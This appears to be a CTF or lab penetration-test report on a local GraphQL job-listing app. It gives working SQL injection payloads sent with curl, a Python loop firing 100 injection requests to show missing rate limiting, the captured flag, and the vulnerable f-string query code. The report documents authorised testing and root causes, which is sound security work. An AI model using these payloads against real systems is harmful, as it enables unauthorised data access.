# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-02: SQL Injection Bypass via Missing Rate Limiting on GraphQL Endpoint

**Summary:**
- **Vulnerable location:** POST /graphql/ endpoint - GraphQL `jobs` query with `jobType` parameter
- **Overview:** The application lacks rate limiting on the GraphQL endpoint, enabling unlimited SQL injection attempts. The SQL injection vulnerability at line 60 of main.py allows bypassing the weak "admin" authorization check to extract the hidden flag from the database.
- **Impact:** Complete authentication bypass and unauthorized access to restricted "private" jobs containing the CTF flag. An attacker can extract sensitive data with unlimited automated requests.
- **Severity:** Critical

**Prerequisites:**
- Network access to http://localhost:38609
- HTTP client capable of sending POST requests (curl, browser, custom script)
- No authentication required (application has zero authentication mechanisms)

**Exploitation Steps:**

**Step 1: Verify Normal Access (Baseline)**

Send a standard GraphQL query to view public jobs:

```bash
curl -s -X POST http://localhost:38609/graphql/ \
  -H "Content-Type: application/json" \
  -d '{"query": "{ jobs { id name type description } }"}'
```

Expected Response:
```json
{
  "data": {
    "jobs": [
      {"id": 1, "name": "Senior Frontend Dev", "type": "front-end", "description": "reactjs"},
      {"id": 2, "name": "Staff Backend Python", "type": "back-end", "description": "django"},
      {"id": 4, "name": "Frontend Dev", "type": "front-end", "description": "angular"}
    ]
  }
}
```

Note: Job ID 3 is missing - this is the private job containing the flag.

**Step 2: Confirm Authorization Block**

Attempt to access private jobs directly:

```bash
curl -s -X POST http://localhost:38609/graphql/ \
  -H "Content-Type: application/json" \
  -d '{"query": "{ jobs(jobType: \"private\") { id name type description } }"}'
```

Expected Response (Authorization Error):
```json
{
  "data": null,
  "errors": [
    {
      "message": "Only admins can see private jobs",
      "locations": [{"line": 1, "column": 3}],
      "path": ["jobs"]
    }
  ]
}
```

This confirms the weak authorization check at main.py lines 55-57 is active.

**Step 3: Exploit SQL Injection to Bypass Authorization (Method 1 - Boolean Injection)**

Use SQL injection payload that bypasses the authorization check:

```bash
curl -s -X POST http://localhost:38609/graphql/ \
  -H "Content-Type: application/json" \
  -d '{"query": "{ jobs(jobType: \"'"'"' OR '"'"'1'"'"'='"'"'1\") { id name type description } }"}'
```

Explanation:
- The payload `' OR '1'='1` does NOT equal the literal string "private", so it bypasses the authorization check
- The SQL query becomes: `SELECT * FROM jobs WHERE type = '' OR '1'='1'`
- This returns ALL jobs including the private one

**Successful Response with Flag:**
```json
{
  "data": {
    "jobs": [
      {"id": 1, "name": "Senior Frontend Dev", "type": "front-end", "description": "reactjs"},
      {"id": 2, "name": "Staff Backend Python", "type": "back-end", "description": "django"},
      {"id": 3, "name": "Hidden job", "type": "private", "description": "FLAG{435c23214a55a86fb4767013da8e1ac61feffa0ccfea01a5289b84effb8fbebd}"},
      {"id": 4, "name": "Frontend Dev", "type": "front-end", "description": "angular"}
    ]
  }
}
```

🎯 **FLAG CAPTURED: `FLAG{435c23214a55a86fb4767013da8e1ac61feffa0ccfea01a5289b84effb8fbebd}`**

**Step 4: Exploit SQL Injection (Method 2 - Targeted Extraction)**

Alternative payload that extracts ONLY the private job:

```bash
curl -s -X POST http://localhost:38609/graphql/ \
  -H "Content-Type: application/json" \
  -d '{"query": "{ jobs(jobType: \"'"'"' OR type='"'"'private'"'"' --\") { id name type description } }"}'
```

Explanation:
- The payload `' OR type='private' --` bypasses the authorization check
- The SQL query becomes: `SELECT * FROM jobs WHERE type = '' OR type='private' --'`
- The `--` comments out the trailing single quote
- This returns ONLY the private job with the flag

**Successful Response:**
```json
{
  "data": {
    "jobs": [
      {
        "id": 3,
        "name": "Hidden job",
        "type": "private",
        "description": "FLAG{435c23214a55a86fb4767013da8e1ac61feffa0ccfea01a5289b84effb8fbebd}"
      }
    ]
  }
}
```

**Step 5: Demonstrate Missing Rate Limiting**

Execute 100 rapid SQL injection requests to prove unlimited exploitation:

```python
import requests
import time

url = "http://localhost:38609/graphql/"
headers = {"Content-Type": "application/json"}
payload = {"query": "{ jobs(jobType: \"' OR '1'='1\") { id name type description } }"}

start_time = time.time()
successful = 0
failed = 0

for i in range(100):
    response = requests.post(url, json=payload, headers=headers)
    if response.status_code == 200 and "FLAG{" in response.text:
        successful += 1
    else:
        failed += 1

duration = time.time() - start_time
print(f"Total Requests: 100")
print(f"Successful: {successful}")
print(f"Failed: {failed}")
print(f"Duration: {duration:.2f}s")
print(f"Requests per second: {100/duration:.2f}")
```

**Actual Test Results:**
- Total Requests: 100
- Successful Requests: 100 (100%)
- Failed Requests: 0 (0%)
- Duration: 0.28 seconds
- Requests Per Second: 354.35 req/s
- All requests returned the flag without any rate limiting, throttling, or blocking

**Proof of Impact:**

1. **Authentication Bypass:** Successfully accessed restricted "private" jobs without any authentication credentials
2. **Flag Extraction:** Retrieved the CTF flag: `FLAG{435c23214a55a86fb4767013da8e1ac61feffa0ccfea01a5289b84effb8fbebd}`
3. **Unlimited Exploitation:** Demonstrated 354+ requests per second with 100% success rate, proving no rate limiting exists
4. **Data Exfiltration:** Complete database contents accessible through SQL injection

**Technical Root Causes:**

1. **SQL Injection Vulnerability (main.py line 60):**
   ```python
   query = f"SELECT * FROM jobs WHERE type = '{job_type}'"
   ```
   User input directly interpolated into SQL query with f-string formatting - no parameterization, no sanitization, no escaping.

2. **Weak Authorization Check (main.py lines 55-57):**
   ```python
   if job_type and job_type == 'private':
       conn.close()
       raise Exception("Only admins can see private jobs")
   ```
   Simple string comparison that checks parameter value instead of user identity. Trivially bypassed by SQL injection payloads.

3. **Missing Rate Limiting (main.py line 87):**
   ```python
   app = Starlette(routes=routes)
   ```
   No middleware configured for rate limiting, CAPTCHA, throttling, or abuse prevention.

**Notes:**

This vulnerability demonstrates a critical failure in multiple security layers:
- **Input Validation:** No sanitization or parameterization of user input
- **Authorization:** Weak check based on input value rather than user identity  
- **Abuse Prevention:** No rate limiting allows unlimited automated exploitation
- **Defense in Depth:** Single bypass defeats all security controls

The application has ZERO authentication mechanisms - all endpoints are publicly accessible. The "admin" check is merely input filtering, not actual access control. Combined with missing rate limiting, this enables rapid and undetectable data extraction.

---

## Out of Scope Vulnerabilities

### AUTH-VULN-01: Transport Exposure (HTTP Only)

**Summary:**
- **Vulnerable location:** All endpoints - application serves traffic over HTTP port 80 with no TLS/SSL
- **Confirmed Vulnerability:** YES - Application serves all traffic over unencrypted HTTP with no HTTPS enforcement
- **Cannot Exploit:** Requires man-in-the-middle (MITM) position on network path between client and server
- **Classification:** OUT_OF_SCOPE_INTERNAL

**Evidence of Vulnerability:**

HTTP response headers confirm plaintext transport:
```bash
curl -i http://localhost:38609/ | head -10
```

Response:
```
HTTP/1.1 200 OK
date: Fri, 31 Oct 2025 04:22:39 GMT
server: uvicorn
content-length: 4343
content-type: text/html; charset=utf-8
```

Observations:
- Protocol: HTTP/1.1 (not HTTPS)
- No `Strict-Transport-Security` header (HSTS)
- No HTTPS redirect
- Server: uvicorn serving directly on port 80

**Why Out of Scope:**

Per engagement constraints: "ALL exploitation attempts MUST be performed against http://localhost:38609 from external network. DO NOT attempt to exploit vulnerabilities that require: Internal network access"

This vulnerability requires:
- Network position between client and server (MITM capability)
- Ability to intercept and read network packets in transit
- Internal network access or network-level attack capabilities

**Exploitation would require:**
1. Position on network path between victim client and server
2. Packet capture capability (tcpdump, Wireshark, etc.)
3. Ability to read plaintext HTTP traffic containing GraphQL queries and responses
4. Cannot be achieved from external HTTP client position

**Impact if Exploitable:**
- Interception of all GraphQL queries including SQL injection payloads
- Reading flag data in plaintext as it transits the network
- Man-in-the-middle modification of requests and responses
- Session hijacking (if sessions existed - application has no sessions)

**Conclusion:**
While this is a confirmed critical security vulnerability (all production applications should use HTTPS/TLS), it cannot be exploited from the required external network position. Classification: **OUT_OF_SCOPE_INTERNAL**